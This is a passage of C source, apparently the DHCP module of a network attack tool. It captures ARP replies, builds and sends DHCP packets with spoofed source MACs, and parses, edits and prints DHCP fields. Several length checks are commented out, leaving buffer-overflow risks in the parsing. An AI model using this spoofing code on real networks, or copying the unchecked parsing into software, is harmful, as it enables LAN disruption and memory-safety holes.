*dhcp_data; struct libnet_ethernet_hdr *ether; int8_t gotit=0; u_int8_t *cursor, rec_packets; struct pcap_data p_data; struct timeval now; struct interface_data *iface_data; dhcp_data = attacks->data; rec_packets = 0; if ((p_data.packet = calloc(1, SNAPLEN)) == NULL) return -1; if ((p_data.header = calloc(1, sizeof(struct pcap_pkthdr))) == NULL) { free(p_data.packet); return -1; } gettimeofday(&now, NULL); p_data.header->ts.tv_sec = now.tv_sec; p_data.header->ts.tv_usec = now.tv_usec; /* Ok, we are waiting for an ARP packet for 5 seconds, and we'll wait * forever (50 ARP packets) for the real packet... */ while (!attacks->attack_th.stop && !gotit & (rec_packets < 50)) { rec_packets++; thread_usleep(800000); if (interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, p_data.header, p_data.packet, PROTO_ARP, 5) < 0) { write_log(0, "Timeout waiting for an ARP Reply...\n"); break; } if (attacks->attack_th.stop) break; ether = (struct libnet_ethernet_hdr *) p_data.packet; iface_data = (struct interface_data *) dlist_data(attacks->used_ints->list); if ( !memcmp((attacks->mac_spoofing)?dhcp_data->mac_source:iface_data->etheraddr, ether->ether_shost, 6) ) continue; /* Oops!! Its our packet... */ /* if ( memcmp((attacks->mac_spoofing)?dhcp_data->mac_source:interfaces[0].etheraddr, ether->_802_3_dhost,6)) continue; Not a response... */ cursor = (u_int8_t *) (p_data.packet + LIBNET_ETH_H); cursor+=14; if (memcmp((void *)cursor,(void *)&ip_dest,4)) continue; memcpy((void *)arp_mac,(void *)ether->ether_shost,6); write_log(0, " ARP Pillada MAC = %02X:%02X:%02X:%02X:%02X:%02X\n", ether->ether_shost[0], ether->ether_shost[1], ether->ether_shost[2], ether->ether_shost[3], ether->ether_shost[4], ether->ether_shost[5]); gotit = 1; } /* !stop */ free(p_data.packet); free(p_data.header); if (!gotit) return -1; else return 0; } int8_t dhcp_send_packet(struct attacks *attacks) { libnet_ptag_t t; int sent; struct dhcp_data *dhcp_data; libnet_t *lhandler; dlist_t *p; struct interface_data *iface_data; struct interface_data *iface_data2; dhcp_data = attacks->data; for (p = attacks->used_ints->list; p; p = dlist_next(attacks->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); lhandler = iface_data->libnet_handler; t = libnet_build_dhcpv4( dhcp_data->op, /* opcode */ dhcp_data->htype, /* hardware type */ dhcp_data->hlen, /* hardware address length */ dhcp_data->hops, /* hop count */ dhcp_data->xid, /* transaction id */ dhcp_data->secs, /* seconds since bootstrap */ dhcp_data->flags, /* flags */ dhcp_data->ciaddr, /* client ip */ dhcp_data->yiaddr, /* your ip */ dhcp_data->siaddr, /* server ip */ dhcp_data->giaddr, /* gateway ip */ dhcp_data->chaddr, /* client hardware addr */ /* (u_int8_t *)dhcp_data->sname,*/ /* server host name */ NULL, /* server host name */ /* (u_int8_t *)dhcp_data->fname,*/ /* boot file */ NULL, /* boot file */ dhcp_data->options_len?dhcp_data->options:NULL, /* dhcp options stuck in payload since it is dynamic */ dhcp_data->options_len, /* length of options */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build dhcp packet",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_udp( dhcp_data->sport, /* source port */ dhcp_data->dport, /* destination port */ LIBNET_UDP_H + LIBNET_DHCPV4_H + dhcp_data->options_len, /* packet size */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error( "Can't build udp datagram",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_DHCPV4_H + dhcp_data->options_len, /* length */ 0x10, /* TOS */ 0, /* IP ID */ 0, /* IP Frag */ 16, /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ dhcp_data->sip, /* src ip */ dhcp_data->dip, /* destination ip */ NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ipv4 packet",lhandler); libnet_clear_packet(lhandler); return -1; } t = libnet_build_ethernet( dhcp_data->mac_dest, /* ethernet destination */ (attacks->mac_spoofing) ? dhcp_data->mac_source : iface_data->etheraddr, /* ethernet source */ ETHERTYPE_IP, NULL, /* payload */ 0, /* payload size */ lhandler, /* libnet handle */ 0); /* libnet id */ if (t == -1) { thread_libnet_error("Can't build ethernet header",lhandler); libnet_clear_packet(lhandler); return -1; } /* * Write it to the wire. */ sent = libnet_write(lhandler); if (sent == -1) { thread_libnet_error("libnet_write error", lhandler); libnet_clear_packet(lhandler); return -1; } libnet_clear_packet(lhandler); protocols[PROTO_DHCP].packets_out++; iface_data2 = interfaces_get_struct(iface_data->ifname); iface_data2->packets_out[PROTO_DHCP]++; } return 0; } int8_t dhcp_learn_offer(struct attacks *attacks) { struct dhcp_data *dhcp_data; struct pcap_pkthdr header; struct timeval now; u_int8_t *packet, *dhcp, *temp; int8_t got_offer = 0; dhcp_data = attacks->data; if ((packet = calloc(1, SNAPLEN)) == NULL) return -1; gettimeofday(&now,NULL); header.ts.tv_sec = now.tv_sec; header.ts.tv_usec = now.tv_usec; while (!got_offer && !attacks->attack_th.stop) { interfaces_get_packet(attacks->used_ints, NULL, &attacks->attack_th.stop, &header, packet, PROTO_DHCP, NO_TIMEOUT); if (attacks->attack_th.stop) { free(packet); return -1; } dhcp = (packet + LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_UDP_H); /* Now we need the SID, yiaddr and the secs */ dhcp_data->secs = (*(u_int16_t *) dhcp + 7); /* let's go to the options */ temp = dhcp + 240; /* find the magic if (((*(u_char *) temp) == 0x63) && ((*(u_char *) temp + 1) == 0x82) && ((*(u_char *) temp + 2) == 0x53) && ((*(u_char *) temp + 3) == 0x63)) printf("Tengo magic\n"); switch (*(dhcp)) { case LIBNET_DHCP_REPLY: switch(*temp) { case LIBNET_DHCP_MESSAGETYPE: if (*((u_char *) dhcp + 2) == LIBNET_DHCP_MSGOFFER) got_offer = 1; break; } break; default: break; }*/ /* switch */ } /* While got */ free(packet); return 0; } /* * Return formated strings of each DHCP field */ char ** dhcp_get_printable_packet(struct pcap_data *data) { struct libnet_ethernet_hdr *ether; u_int8_t *dhcp_data, *udp_data, *ip_data, *ptr; u_int8_t len, i, k, type, end, desc_len; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif char buffer[4096], *buf_ptr; u_int32_t total_len; char **field_values; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DHCP].nparams, protocols[PROTO_DHCP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_ethernet_hdr *) data->packet; ip_data = (u_char *) (data->packet + LIBNET_ETH_H); udp_data = (data->packet + LIBNET_ETH_H + (((*(data->packet + LIBNET_ETH_H))&0x0F)*4)); dhcp_data = udp_data + LIBNET_UDP_H; /* Source MAC */ snprintf(field_values[DHCP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_shost[0], ether->ether_shost[1], ether->ether_shost[2], ether->ether_shost[3], ether->ether_shost[4], ether->ether_shost[5]); /* Destination MAC */ snprintf(field_values[DHCP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->ether_dhost[0], ether->ether_dhost[1], ether->ether_dhost[2], ether->ether_dhost[3], ether->ether_dhost[4], ether->ether_dhost[5]); /* Source IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip_data+12), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_SIP], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(ip_data+12)), field_values[DHCP_SIP], 16, 0); #endif /* Destination IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (ip_data+16), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_DIP], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(ip_data+16)), field_values[DHCP_DIP], 16, 0); #endif /* Source port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data, 2); snprintf(field_values[DHCP_SPORT], 5, "%hd", ntohs(aux_short)); #else snprintf(field_values[DHCP_SPORT], 5, "%hd", ntohs(*(u_int16_t *)udp_data)); #endif /* Destination port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data+2, 2); snprintf(field_values[DHCP_DPORT], 5, "%hd", ntohs(aux_short)); #else snprintf(field_values[DHCP_DPORT], 5, "%hd", ntohs(*(u_int16_t *)(udp_data+2))); #endif /* Op */ snprintf(field_values[DHCP_OP], 3, "%02X", *((u_char *)dhcp_data)); /* htype */ snprintf(field_values[DHCP_HTYPE], 3, "%02X", *((u_char *)dhcp_data+1)); /* hlen */ snprintf(field_values[DHCP_HLEN], 3, "%02X", *((u_char *)dhcp_data+2)); /* hops */ snprintf(field_values[DHCP_HOPS], 3, "%02X", *((u_char *)dhcp_data+3)); /* xid */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(dhcp_data+4),4); snprintf(field_values[DHCP_XID], 9, "%08lX", ntohl(aux_long)); #else snprintf(field_values[DHCP_XID], 9, "%08lX", (u_long) ntohl(*(u_int32_t *)(dhcp_data+4))); #endif /* secs */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, dhcp_data+8, 2); snprintf(field_values[DHCP_SECS], 5, "%04hX", ntohs(aux_short)); #else snprintf(field_values[DHCP_SECS], 5, "%04hX", ntohs(*(u_int16_t *)(dhcp_data+8))); #endif /* flags */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, dhcp_data+10, 2); snprintf(field_values[DHCP_FLAGS], 5, "%04hX", ntohs(aux_short)); #else snprintf(field_values[DHCP_FLAGS], 5, "%04hX", ntohs(*(u_int16_t *)(dhcp_data+10))); #endif /* ciaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (dhcp_data+12), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_CIADDR], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(dhcp_data+12)), field_values[DHCP_CIADDR], 16, 0); #endif /* yiaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (dhcp_data+16), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_YIADDR], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(dhcp_data+16)), field_values[DHCP_YIADDR], 16, 0); #endif /* siaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (dhcp_data+20), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_SIADDR], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(dhcp_data+20)), field_values[DHCP_SIADDR], 16, 0); #endif /* giaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (dhcp_data+24), 4); parser_get_formated_inet_address_fill(ntohl(aux_long), field_values[DHCP_GIADDR], 16, 0); #else parser_get_formated_inet_address_fill(ntohl(*(u_int32_t *)(dhcp_data+24)), field_values[DHCP_GIADDR], 16, 0); #endif /* chaddr */ snprintf(field_values[DHCP_CHADDR], 18, "%02X:%02X:%02X:%02X:%02X:%02X", *(dhcp_data+28)&0xFF, *(dhcp_data+29)&0xFF, *(dhcp_data+30)&0xFF, *(dhcp_data+31)&0xFF, *(dhcp_data+32)&0xFF, *(dhcp_data+33)&0xFF); /* options */ memset((void *)&buffer, 0, 4096); ptr = dhcp_data + 240; buf_ptr = buffer; total_len = 0; i = 0; end = 0; while((!end) && (ptr < data->packet + data->header->caplen) && (i < MAX_TLV)) { if ((ptr+1) > (data->packet + data->header->caplen)) /* Undersized packet !! */ { write_log(0, "Undersized packet!!\n"); return NULL; } type = (*(u_int8_t *)ptr); len = (*(u_int8_t *)(ptr + 1)); /* My crappy ADSL router always sends oversized packets with * padding with __important__ data in!! */ /* if ((ptr + len) > data->packet + data->header->caplen) { write_log(0, "Oversized packet!!\n"); return NULL; }*/ if (!len && type != LIBNET_DHCP_END) { write_log(0, "Error in dhcp_get_printable: len is %d and type is %d\n", len, type); return (char **)field_values; } if (len || ((type == LIBNET_DHCP_END) && (len == 0))) { for (k=0; k < protocols[PROTO_DHCP].extra_nparams; k++) { if (protocols[PROTO_DHCP].extra_parameters[k].id == type) { desc_len = strlen(protocols[PROTO_DHCP].extra_parameters[k].ldesc); strncpy(buf_ptr, protocols[PROTO_DHCP].extra_parameters[k].ldesc, desc_len); buf_ptr += desc_len + 1; total_len += desc_len + 1; switch(type) { case LIBNET_DHCP_END: *buf_ptr = '\0'; buf_ptr++; /* end */ *buf_ptr = '\0'; total_len += 2; end = 1; break; case LIBNET_DHCP_MESSAGETYPE: snprintf(buf_ptr, 3, "%02X", *((u_char *)(ptr+2))); buf_ptr += 3; total_len += 3; break; case LIBNET_DHCP_LEASETIME: case LIBNET_DHCP_RENEWTIME: case LIBNET_DHCP_REBINDTIME: #ifdef LBL_ALIGN memcpy((void *)&aux_long, ptr, 4); snprintf(buf_ptr, 9, "%08lX", ntohl(aux_long)); #else snprintf(buf_ptr, 9, "%08lX", (u_long) ntohl(*(u_int32_t *)(ptr+2))); #endif buf_ptr += 9; total_len += 9; break; case LIBNET_DHCP_SUBNETMASK: case LIBNET_DHCP_SERVIDENT: case LIBNET_DHCP_ROUTER: case LIBNET_DHCP_DNS: case LIBNET_DHCP_DISCOVERADDR: write_log(0, "a ver...\n"); if (parser_get_formated_inet_address(ntohl(*(u_int32_t *)(ptr+2)), buf_ptr, 16) < 0) { *buf_ptr = '\0'; total_len += 1; } else { buf_ptr += 16; total_len += 16; } break; case LIBNET_DHCP_DOMAINNAME: case LIBNET_DHCP_CLASSSID: case LIBNET_DHCP_HOSTNAME: case LIBNET_DHCP_MESSAGE: if (len < MAX_VALUE_LENGTH) { memcpy(buf_ptr, ptr+2, len); buf_ptr += len + 1; total_len += len + 1; } else { memcpy(buf_ptr, ptr+2, MAX_VALUE_LENGTH); buf_ptr += MAX_VALUE_LENGTH + 1; total_len += MAX_VALUE_LENGTH + 1; } break; default: *buf_ptr = '\0'; buf_ptr++; total_len++; break; } break; } } } i++; ptr +=len + 2; } if ((field_values[DHCP_TLV] = (char *) calloc(1, total_len)) == NULL) write_log(0, "error in calloc\n"); memset((void *)field_values[DHCP_TLV], 0, total_len); memcpy((void *)field_values[DHCP_TLV], (void *)buffer, total_len); return (char **)field_values; } int8_t dhcp_load_values(struct pcap_data *data, void *values) { struct libnet_ethernet_hdr *ether; struct dhcp_data *dhcp; u_char *dhcp_data, *ip_data, *udp_data; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif u_int8_t i, type, len, *ptr; u_int16_t total; dhcp = (struct dhcp_data *)values; ether = (struct libnet_ethernet_hdr *) data->packet; ip_data = (u_char *) (data->packet + LIBNET_ETH_H); udp_data = (data->packet + LIBNET_ETH_H + (((*(data->packet + LIBNET_ETH_H))&0x0F)*4)); dhcp_data = udp_data + LIBNET_UDP_H; /* Source MAC */ memcpy(dhcp->mac_source, ether->ether_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(dhcp->mac_dest, ether->ether_dhost, ETHER_ADDR_LEN); /* Source IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(ip_data+12),4); dhcp->sip = ntohl(aux_long); #else dhcp->sip = ntohl(*(u_int32_t *)(ip_data+12)); #endif /* Destination IP */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(ip_data+16),4); dhcp->dip = ntohl(aux_long); #else dhcp->dip = ntohl(*(u_int32_t *)(ip_data+16)); #endif /* Source port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data, 2); dhcp->sport = ntohs(aux_short); #else dhcp->sport = ntohs(*(u_int16_t *)udp_data); #endif /* Destination port */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, udp_data+2, 2); dhcp->dport = ntohs(aux_short); #else dhcp->dport = ntohs(*(u_int16_t *)(udp_data+2)); #endif /* Op */ dhcp->op = *((u_char *)dhcp_data); /* Htype */ dhcp->htype = *((u_char *)dhcp_data+1); /* Hlen */ dhcp->hlen = *((u_char *)dhcp_data+2); /* Hops */ dhcp->hops = *((u_char *)dhcp_data+3); /* Xid */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, dhcp_data+4, 4); dhcp->xid = ntohs(aux_short); #else dhcp->xid = ntohl(*(u_int32_t *)(dhcp_data+4)); #endif /* Secs */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, dhcp_data+8, 2); dhcp->secs = ntohs(aux_short); #else dhcp->secs = ntohs(*(u_int16_t *)(dhcp_data+8)); #endif /* Flags */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, dhcp_data+10, 2); dhcp->flags = ntohs(aux_short); #else dhcp->flags = ntohs(*(u_int16_t *)(dhcp_data+10)); #endif /* Ciaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, dhcp_data+12, 4); dhcp->ciaddr = ntohs(aux_short); #else dhcp->ciaddr = ntohl(*(u_int32_t *)(dhcp_data+12)); #endif /* Yiaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, dhcp_data+16, 4); dhcp->yiaddr = ntohs(aux_short); #else dhcp->yiaddr = ntohl(*(u_int32_t *)(dhcp_data+16)); #endif /* Siaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, dhcp_data+20, 4); dhcp->siaddr = ntohs(aux_short); #else dhcp->siaddr = ntohl(*(u_int32_t *)(dhcp_data+20)); #endif /* Giaddr */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, dhcp_data+24, 4); dhcp->giaddr = ntohs(aux_short); #else dhcp->giaddr = ntohl(*(u_int32_t *)(dhcp_data+24)); #endif /* Chaddr */ memcpy(dhcp->chaddr, dhcp_data+28, ETHER_ADDR_LEN); ptr = dhcp_data + 240; i = 0; total = 0; /* now the tlv section starts */ while((ptr < data->packet + data->header->caplen) && (i < MAX_TLV) && (total < MAX_TLV*MAX_VALUE_LENGTH)) { if ((ptr+1) > ( data->packet + data->header->caplen)) /* Undersized packet !! */ { write_log(0, "undersized packet\n"); return 0; } type = (*(u_int8_t *)ptr); len = (*(u_int8_t *)(ptr + 1)); /* if ((ptr + len+2) > data->packet + data->header->caplen) { write_log(0, "Oversized packet\n"); return -1; }*/ /* if (!len) return 0;*/ /* * TLV len must be at least 5 bytes (header + data). * Anyway i think we can give a chance to the rest * of TLVs... ;) */ if ((type == LIBNET_DHCP_END) || ((len) && (total + len < MAX_TLV*MAX_VALUE_LENGTH))) memcpy((void *)(dhcp->options + total), (void *)ptr, len+2); i++; ptr += len + 2; total += len + 2; } dhcp->options_len = total; return 0; } char ** dhcp_get_printable_store(struct term_node *node) { struct dhcp_data *dhcp; char **field_values, *tlv; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif u_int8_t *ptr; u_int8_t len, i, k, type, end; char buffer[4096], *buf_ptr; u_int32_t total_len; /* smac + dmac + sip + dip + sport + dport + op + htype + hlen + hops + * + xid + secs + flags + ciaddr + yiaddr + siaddr + giaddr + chaddr + * null = 19 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_DHCP].nparams, protocols[PROTO_DHCP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) dhcp = protocols[PROTO_DHCP].default_values; else dhcp = (struct dhcp_data *) node->protocol[PROTO_DHCP].tmp_data; /* Source MAC */ snprintf(field_values[DHCP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dhcp->mac_source[0], dhcp->mac_source[1], dhcp->mac_source[2], dhcp->mac_source[3], dhcp->mac_source[4], dhcp->mac_source[5]); /* Destination MAC */ snprintf(field_values[DHCP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dhcp->mac_dest[0], dhcp->mac_dest[1], dhcp->mac_dest[2], dhcp->mac_dest[3], dhcp->mac_dest[4], dhcp->mac_dest[5]); /* Source IP */ parser_get_formated_inet_address(dhcp->sip , field_values[DHCP_SIP], 16); /* Destination IP */ parser_get_formated_inet_address(dhcp->dip , field_values[DHCP_DIP], 16); /* Source port */ snprintf(field_values[DHCP_SPORT], 6, "%05hd", dhcp->sport); /* Destination port */ snprintf(field_values[DHCP_DPORT], 6, "%05hd", dhcp->dport); /* Op */ snprintf(field_values[DHCP_OP], 3, "%02X", dhcp->op); /* Htype */ snprintf(field_values[DHCP_HTYPE], 3, "%02X", dhcp->htype); /* Hlen */ snprintf(field_values[DHCP_HLEN], 3, "%02X", dhcp->hlen); /* Hops */ snprintf(field_values[DHCP_HOPS], 3, "%02X", dhcp->hops); /* Xid */ #ifdef LBL_ALIGN memcpy((void *)&aux_long, (void *)&dhcp->xid, 4); snprintf(field_values[DHCP_XID], 9, "%08X", aux_long); #else snprintf(field_values[DHCP_XID], 9, "%08X", dhcp->xid); #endif /* Secs */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, (void *)&dhcp->secs, 2); snprintf(field_values[DHCP_SECS], 5, "%04X", aux_short); #else snprintf(field_values[DHCP_SECS], 5, "%04X", dhcp->secs); #endif /* Flags */ #ifdef LBL_ALIGN memcpy((void *)&aux_short, (void *)&dhcp->flags, 2); snprintf(field_values[DHCP_FLAGS], 5, "%04X", aux_short); #else snprintf(field_values[DHCP_FLAGS], 5, "%04X", dhcp->flags); #endif /* Ciaddr */ parser_get_formated_inet_address(dhcp->ciaddr , field_values[DHCP_CIADDR], 16); /* Yiaddr */ parser_get_formated_inet_address(dhcp->yiaddr , field_values[DHCP_YIADDR], 16); /* Siaddr */ parser_get_formated_inet_address(dhcp->siaddr , field_values[DHCP_SIADDR], 16); /* Giaddr */ parser_get_formated_inet_address(dhcp->giaddr , field_values[DHCP_GIADDR], 16); /* Chaddr */ snprintf(field_values[DHCP_CHADDR], 18, "%02X:%02X:%02X:%02X:%02X:%02X", dhcp->chaddr[0], dhcp->chaddr[1], dhcp->chaddr[2], dhcp->chaddr[3], dhcp->chaddr[4], dhcp->chaddr[5]); /* options */ ptr = dhcp->options; buf_ptr = buffer; total_len = 0; i = 0; end = 0; tlv = field_values[DHCP_TLV]; while((!end) && (ptr < dhcp->options + dhcp->options_len) && (i < MAX_TLV)) { type = (*(u_int8_t *)ptr); len = (*(u_int8_t *)(ptr + 1)); /* My crappy ADSL router always sends oversized packets with * padding with __important__ data in!! */ /* if ((ptr + len) > data->packet + data->header->caplen) { write_log(0, "Oversized packet!!\n"); return NULL; }*/ /* if (!len && type != LIBNET_DHCP_END) return NULL;*/ if (len || ((type == LIBNET_DHCP_END) && (len == 0))) { k = 0; while(dhcp_type_desc[k].desc) { if (dhcp_type_desc[k].type == type) { strncpy(buf_ptr, dhcp_type_desc[k].desc, strlen((char *)dhcp_type_desc[k].desc)); buf_ptr += strlen((char *)dhcp_type_desc[k].desc) + 1; total_len += strlen((char *)dhcp_type_desc[k].desc) + 1; switch(type) { case LIBNET_DHCP_END: end = 1; break; case LIBNET_DHCP_MESSAGETYPE: snprintf(buf_ptr, 3, "%02X", *((u_char *)(ptr+2))); buf_ptr += 3; total_len += 3; break; case LIBNET_DHCP_LEASETIME: case LIBNET_DHCP_RENEWTIME: case LIBNET_DHCP_REBINDTIME: #ifdef LBL_ALIGN memcpy((void *)&aux_long, ptr, 4); snprintf(buf_ptr, 9, "%08lX", ntohl(aux_long)); #else snprintf(buf_ptr, 9, "%08lX", (u_long) ntohl(*(u_int32_t *)(ptr+2))); #endif buf_ptr += 9; total_len += 9; break; case LIBNET_DHCP_SUBNETMASK: case LIBNET_DHCP_SERVIDENT: case LIBNET_DHCP_ROUTER: case LIBNET_DHCP_DNS: case LIBNET_DHCP_DISCOVERADDR: parser_get_formated_inet_address(ntohl(*(u_int32_t *)(ptr+2)), buf_ptr, 16); buf_ptr += 16; total_len += 16; break; case LIBNET_DHCP_DOMAINNAME: case LIBNET_DHCP_CLASSSID: case LIBNET_DHCP_HOSTNAME: case LIBNET_DHCP_MESSAGE: if (len < MAX_VALUE_LENGTH) { memcpy(buf_ptr, ptr+2, len); buf_ptr += len + 1; total_len += len + 1; /* dhcp_print->tlv[i].value[len] = '\0';*/ } else { memcpy(buf_ptr, ptr+2, MAX_VALUE_LENGTH-2); buf_ptr += MAX_VALUE_LENGTH + 1; total_len += MAX_VALUE_LENGTH + 1; /* dhcp_print->tlv[i].value[MAX_VALUE_LENGTH-2] = '|'; dhcp_print->tlv[i].value[MAX_VALUE_LENGTH-1] = '\0';*/ } break; default: *buf_ptr = '\0'; buf_ptr++; total_len++; break; } } k++; } } i++; ptr +=len + 2; } if ((field_values[DHCP_TLV] = (char *) calloc(1, total_len)) == NULL) write_log(0, "error in calloc\n"); memcpy((void *)field_values[DHCP_TLV], (void *)buffer, total_len); return (char **)field_values; } int8_t dhcp_update_field(int8_t state, struct term_node *node, void *value) { struct dhcp_data *dhcp_data; if (node == NULL) dhcp_data = protocols[PROTO_DHCP].default_values; else dhcp_data = node->protocol[PROTO_DHCP].tmp_data; switch(state) { /* Source MAC */ case DHCP_SMAC: memcpy((void *)dhcp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case DHCP_DMAC: memcpy((void *)dhcp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* Op */ case DHCP_OP: dhcp_data->op = *(u_int8_t *)value; break; /* Htype */ case DHCP_HTYPE: dhcp_data->htype = *(u_int8_t *)value; break; /* Hlen */ case DHCP_HLEN: dhcp_data->hlen = *(u_int8_t *)value; break; /* Hlen */ case DHCP_HOPS: dhcp_data->hops = *(u_int8_t *)value; break; /* Xid */ case DHCP_XID: dhcp_data->xid = *(u_int32_t *)value; break; /* Secs */ case DHCP_SECS: dhcp_data->secs = *(u_int16_t *)value; break; /* Flags */ case DHCP_FLAGS: dhcp_data->flags = *(u_int16_t *)value; break; /* Ciaddr */ case DHCP_CIADDR: dhcp_data->ciaddr = *(u_int32_t *)value; break; /* Yiaddr */ case DHCP_YIADDR: dhcp_data->yiaddr = *(u_int32_t *)value; break; /* Siaddr */ case DHCP_SIADDR: dhcp_data->siaddr = *(u_int32_t *)value; break; /* Giaddr */ case DHCP_GIADDR: dhcp_data->giaddr = *(u_int32_t *)value; break; /* Chaddr */ case DHCP_CHADDR: memcpy((void *)dhcp_data->chaddr, (void *)value, ETHER_ADDR_LEN); break; /* Msg */ /* Options */ /* SPort */ case DHCP_SPORT: dhcp_data->sport = *(u_int16_t *)value; break; /* DPort */ case DHCP_DPORT: dhcp_data->dport = *(u_int16_t *)value; break; /* Source IP */ case DHCP_SIP: dhcp_data->sip = *(u_int32_t *)value; break; case DHCP_DIP: dhcp_data->dip = *(u_int32_t *)value; break; default: break; } return 0; } char * dhcp_get_type_info(u_int16_t type) { u_int8_t i; i = 0; while (dhcp_type_desc[i].desc) { if (dhcp_type_desc[i].type == type) return dhcp_type_desc[i].desc; i++; } return ""; } int8_t dhcp_init_attribs(struct term_node *node) { /* the default is a DHCPDISCOVER packet */ struct dhcp_data *dhcp_data; u_int32_t lbl32; dhcp_data = node->protocol[PROTO_DHCP].tmp_data; dhcp_data->op = DHCP_DFL_OPCODE; dhcp_data->htype = DHCP_DFL_HW_TYPE; dhcp_data->hlen = DHCP_DFL_HW_LEN; dhcp_data->hops = DHCP_DFL_HOPS; lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->xid, (void *) &lbl32, sizeof(u_int32_t)); dhcp_data->secs = DHCP_DFL_SECS; dhcp_data->flags = DHCP_DFL_FLAGS; dhcp_data->ciaddr = 0; dhcp_data->yiaddr = 0; dhcp_data->giaddr = 0; dhcp_data->siaddr = 0; /* lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->ciaddr, (void *) &lbl32, 4); lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->yiaddr, (void *) &lbl32, 4); lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->siaddr, (void *) &lbl32, 4); lbl32 = libnet_get_prand(LIBNET_PRu32); memcpy((void *)&dhcp_data->giaddr, (void *) &lbl32, 4);*/ dhcp_data->sport = DHCP_CLIENT_PORT; dhcp_data->dport = DHCP_SERVER_PORT; dhcp_data->sip = 0; dhcp_data->dip = inet_addr("255.255.255.255"); attack_gen_mac(dhcp_data->mac_source); dhcp_data->mac_source[0] &= 0x0E; /* chaddr = mac_source */ memcpy((void *) dhcp_data->chaddr, (void *) dhcp_data->mac_source, ETHER_ADDR_LEN); parser_vrfy_mac("FF:FF:FF:FF:FF:FF",dhcp_data->mac_dest); /* options */ dhcp_data->options[0] = LIBNET_DHCP_MESSAGETYPE; dhcp_data->options[1] = 1; dhcp_data->options[2] = LIBNET_DHCP_MSGDISCOVER; dhcp_data->options[3] = LIBNET_DHCP_END; dhcp_data->options_len = 4; return 0; } int8_t dhcp_edit_tlv(struct term_node *node, u_int8_t action, u_int8_t pointer, u_int16_t type, u_int8_t *value) { u_int8_t i; u_int16_t len, offset; u_int32_t aux_long; struct dhcp_data *dhcp_data; i = 0; offset = 0; dhcp_data = (struct dhcp_data *) node->protocol[PROTO_DHCP].tmp_data; switch(action) { case TLV_DELETE: /* Find the TLV */ while ((i < MAX_TLV) && (offset < dhcp_data->options_len)) { if ((*(u_int8_t *)(dhcp_data->options + offset + 1)) > dhcp_data->options_len) { write_log(0, "Oversized packet!\n"); return -1; /* Oversized packet */ } if ((*(u_int8_t *)(dhcp_data->options + offset)) == LIBNET_DHCP_END) len = 1; else len = (*(u_int8_t *)(dhcp_data->options + offset + 1)) + 2; if (i == pointer) { dhcp_data->options_len -= len; memcpy((void *)(dhcp_data->options + 